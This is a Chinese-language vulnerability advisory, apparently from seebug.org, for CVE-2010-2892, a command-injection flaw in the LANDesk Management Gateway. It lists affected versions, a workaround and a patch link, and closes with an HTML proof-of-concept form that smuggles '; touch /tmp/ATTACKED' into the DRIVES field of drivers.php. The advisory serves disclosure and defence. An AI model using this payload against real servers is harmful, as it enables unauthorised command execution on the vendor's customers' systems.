LANDesk管理套件HTML表单请求命令注入漏洞

2010-11-1700:00:00

Root

www.seebug.org

EPSS

0.024

Percentile

90.1%

JSON

BUGTRAQ ID: 44781
CVE ID: CVE-2010-2892

Landesk管理套件是一款网络管理系统，可控制桌面，服务器和移动设备等。

Landesk没有正确地验证提交特制请求的用户来源。如果管理员使用攻击者的浏览器登录到了设备，攻击者就可以以gsbadmin用户权限执行任意代码。

LANDesk Software LANDesk Management Gateway 4.2 GSBWEB v1.61
LANDesk Software LANDesk Management Gateway 4.0 GSBWEB v1.61s
临时解决方法：

启动SSH控制台会话，或登录到LDMG控制台并启动终端会话。
发布以下命令：mv/usr/LANDesk/broker/webroot/gsb/drivers.php ~

厂商补丁：

LANDesk Software

目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://community.landesk.com/support/docs/DOC-21767


                                                /-----
&lt;head&gt;&lt;title&gt;LANDesk PoC&lt;/title&gt;&lt;/head&gt;
  &lt;body&gt;
    &lt;form method=&quot;post&quot; action=&quot;https://[server]/gsb/drivers.php&quot;&gt;
      &lt;input type=&quot;text&quot; name=&quot;DRIVES&quot; value=&quot;; touch /tmp/ATTACKED&quot;&gt;
      &lt;input type=&quot;text&quot; name=&quot;SECONDTIME&quot; value=&quot;1&quot;&gt;
      &lt;input type=&quot;text&quot; name=&quot;ACTION&quot; value=&quot;getupdate&quot;&gt;
      &lt;input type=&quot;submit&quot; value=&quot;Attack!&quot;&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;
-----/

EPSS

0.024

Percentile

90.1%

JSON

Related for SSV:20253